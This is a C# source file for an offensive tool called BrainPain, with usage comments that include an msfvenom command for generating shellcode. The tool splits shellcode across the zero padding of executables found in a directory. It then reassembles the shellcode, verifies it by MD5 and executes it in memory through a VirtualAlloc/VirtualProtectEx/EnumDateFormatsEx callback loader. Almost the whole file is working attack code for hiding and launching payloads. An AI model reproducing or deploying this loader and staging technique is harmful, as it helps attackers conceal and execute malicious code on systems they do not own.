// Some fun with storing shellcode in the padding of executables, rebuilding the shellcode and executing if successfully recovered. // At least on the executables I've used, the shellcode doesn't seem to prevent the executable from executing as expected. // Step 1: Compile: // PS C:\> C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\BrainPain.cs // Step 2: generate shellcode // msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o calc.bin // Step 3: Execute Brainpain // PS C:\> C:\Path\To\BrainPain.exe -sc C:\absolute\path\to\calc.bin -dir C:\Directory\to\search\for\exes // Some fun with storing shellcode in the padding of executables, rebuilding the shellcode and executing if successfully recovered. // At least on the executables I've used, the shellcode doesn't seem to prevent the executable from executing as expected. // Step 1: Compile: // PS C:\> C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\BrainPain.cs // Step 2: generate shellcode // msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o calc.bin // Step 3: Execute Brainpain // PS C:\> C:\Path\To\BrainPain.exe -sc C:\absolute\path\to\calc.bin -dir C:\Directory\to\search\for\exes\ using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Security.Cryptography; namespace BrainPain { class Program { static void Main(string[] args) { string scPath = null; string directory = null; for (int i = 0; i < args.Length; i++) { if (args[i] == "-sc" && File.Exists(args[i+1])) { scPath = args[i + 1]; } if (args[i] == "-dir" && Directory.Exists(args[i + 1])) { directory = args[i + 1]; } if (args[i] == "-h") { Console.WriteLine("-sc: Absolute path to shellcode."); Console.WriteLine("-dir: Directory to recursively search for exes."); Environment.Exit(0); } } if (scPath == null || directory == null) { Console.WriteLine("[!] Specify a directory and the path to shellcode"); Console.WriteLine("\n-sc: Absolute path to shellcode."); Console.WriteLine("-dir: Directory to recursively search for exes."); Environment.Exit(0); } //Read the specified shellcode byte[] shellcode = File.ReadAllBytes(scPath); string shellcodeMD5 = GetMD5(shellcode); Console.WriteLine("Shellcode MD5: {0}", shellcodeMD5); //Recursively find all the exes List files = GetAllFilesFromFolder(directory, true); //Use a ledger to keep track of the filepath, padding available and the bytes written (if necessary) List ledger = new List(); //Add each filepath to the ledger foreach(string file in files) { StorageDetails ledgeritem = new StorageDetails(); ledgeritem.Filepath = file; ledger.Add(ledgeritem); } Console.WriteLine("\n[*] Step 1: Identify the amount of space available in each file."); int totalPadding = 0; foreach (StorageDetails item in ledger) { //ReadFilePad() is going to look at each file to get the amount of padding available to be written to. //I only have it return data for any file with more than 100 bytes available - though it shouldn't matter. item.PaddingAvailable = ReadFilePad(item.Filepath); if (item.PaddingAvailable > 0) { totalPadding += item.PaddingAvailable; } } //If there wasn't a decent amount of padding, GET OUTTA HERE! ledger.RemoveAll(p => p.PaddingAvailable == 0); if (ledger.Count == 0) { Console.WriteLine("[!] Ledger is empty. Make sure you have correct access to write to a file in the specified directory."); Environment.Exit(0); } //Neat details about how many files and total bytes were found when recursively looking Console.WriteLine("\tFile Count: {0} Available bytes: {1} Shellcode Length: {2}", ledger.Count, totalPadding, shellcode.Length); if (totalPadding < shellcode.Length) { Console.WriteLine("\n[!] Not enough padding to successfully disperse shellcode.\n\nPress Enter to Exit."); Console.ReadLine(); Environment.Exit(0); } Console.WriteLine("\n[*] Step 2: Write the payload to the file padding.\n====== Press Enter to Continue ======"); Console.ReadLine(); int shellcodeWritten = 0; int index = 0; while ((shellcodeWritten != shellcode.Length) && (index < ledger.Count)) { try { ledger[index].Byteswritten = WriteBytesToPad(ledger[index].Filepath, shellcode.Skip(shellcodeWritten).ToArray(), ledger[index].PaddingAvailable); shellcodeWritten += ledger[index].Byteswritten; index++; } catch (ArgumentOutOfRangeException) { Console.WriteLine("[!] Error writing to file {0}", ledger[index].Filepath); index++; continue; } } ledger.RemoveAll(p => p.Byteswritten == 0); Console.WriteLine("\n[+] Split shellcode among {0} files.", ledger.Count); // Wait until the user is ready, then start the rebuild process Console.WriteLine("\n\n====== Press Enter to Rebuild ======"); Console.ReadLine(); //Rebuilding Starts! Console.WriteLine("[*] Step 3: Rebuild the shellcode and restore the file back to normal."); List rebuiltShellcode = new List(); foreach (StorageDetails item in ledger) { Console.WriteLine("\n\tReading {0}", item.Filepath); rebuiltShellcode.AddRange(BuildShellcodeFromPad(item.Filepath,item.Byteswritten)); } Console.WriteLine("\n[*] Step 4: Use the shellcode."); string recoveredShellcode = GetMD5(rebuiltShellcode.ToArray()); // Make sure the recovered shellcode matches the original shellcode MD5. Execute the shellcode if it does match. if (shellcodeMD5 == recoveredShellcode) { Execute(rebuiltShellcode.ToArray()); } else { Console.WriteLine("\tOriginal Shellcode MD5: {0}", shellcodeMD5); Console.WriteLine("\tRecovered Shellcode MD5: {0}", recoveredShellcode); Console.WriteLine("\t[!] Shellcode MD5 does not match. Exiting."); } } static List BuildShellcodeFromPad(string path, int amount) { if (!File.Exists(path)) { return null; } byte[] file = File.ReadAllBytes(path); byte[] shellcodeData = file.Skip(Math.Max(0, file.Count() - amount)).ToArray(); byte[] reversed = file.Reverse().ToArray(); int i = 0; for (i = 0; i <= amount; i++) { reversed[i] = 0; } File.WriteAllBytes(path, reversed.Reverse().ToArray()); Console.WriteLine("\tRecovered MD5: {0}", GetMD5(reversed.Reverse().ToArray())); Console.WriteLine("\tAmount gathered: {0}", amount); return shellcodeData.Reverse().ToList(); } public static string GetMD5(byte[] array) { MD5 hashString = new MD5CryptoServiceProvider(); var hashValue = hashString.ComputeHash(array); string hash = string.Empty; foreach (byte x in hashValue) { hash += string.Format("{0:x2}", x); } return hash; } public static List GetAllFilesFromFolder(string root, bool searchSubfolders) { Queue folders = new Queue(); List files = new List(); folders.Enqueue(root); while (folders.Count != 0) { string currentFolder = folders.Dequeue(); try { string[] filesInCurrent = System.IO.Directory.GetFiles(currentFolder, "*.exe", System.IO.SearchOption.TopDirectoryOnly); files.AddRange(filesInCurrent); } catch { } try { if (searchSubfolders) { string[] foldersInCurrent = System.IO.Directory.GetDirectories(currentFolder, "*.*", System.IO.SearchOption.TopDirectoryOnly); foreach (string _current in foldersInCurrent) { folders.Enqueue(_current); } } } catch { } } return files; } //Get the number of zeroes at the end of a file. static int ReadFilePad(string path) { if (File.Exists(path)) { try { byte[] file = File.ReadAllBytes(path); byte[] reversed = file.Reverse().ToArray(); //Flip it/reverse it. Missy Elliot would be so proud. int i = 0; while (reversed[i] == 0) { i++; } //I only wish to write to a file with more than 100 bytes of padding. Doesn't really matter though. if (i > 100) { return i; } else { return 0; } } catch { return 0; } } else { return 0; } } static int WriteBytesToPad(string path, byte[] payload, int spaceAvailable) { if (File.Exists(path)) { try { byte[] file = File.ReadAllBytes(path); Console.WriteLine("\n\tFile: {0}\n\tOriginal MD5: {1}\n\tPadding Size: {2}", path, GetMD5(File.ReadAllBytes(path)), spaceAvailable); byte[] reversedFile = file.Reverse().ToArray(); //byte[] reversedPayload = payload.ToArray(); int i; for (i = 0; i < payload.Count(); i++) { if (i < spaceAvailable) { reversedFile[i] = payload[i]; } else { File.WriteAllBytes(path, reversedFile.Reverse().ToArray()); Console.WriteLine("\n\tAdded to File: {0}\n\tNew MD5: {1}", path, GetMD5(reversedFile.Reverse().ToArray())); return (i-1); //14 Jan 22: Oops. just returning i was causing problems returning the file back to it's original state. } } //write new bytes to file File.WriteAllBytes(path, reversedFile.Reverse().ToArray()); Console.WriteLine("\n\tAdded to File: {0}\n\tNew MD5: {1}\n\tPadding Overwritten: {2}", path, GetMD5(reversedFile.Reverse().ToArray()), i); return i; } catch { return 0; } } else { return 0; } } public class StorageDetails { public string Filepath { set; get; } public int PaddingAvailable { set; get; } public int Byteswritten { set; get;} } //Just execute the shellcode with a callback static void Execute(byte[] payload) { IntPtr hAlloc = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, 0x1000 | 0x2000, 0x04);//0x04 = RW Marshal.Copy(payload, 0, hAlloc, payload.Length); uint oldProtect; VirtualProtectEx(Process.GetCurrentProcess().Handle, hAlloc, (UIntPtr)payload.Length, 0x20, out oldProtect); //0x20 = RX EnumDateFormatsEx(hAlloc, 0x0800, 0); } [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern bool EnumDateFormatsEx(IntPtr lpDateFmtEnumProcEx, uint Locale, uint dwFlags); [DllImport("kernel32.dll")] static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } }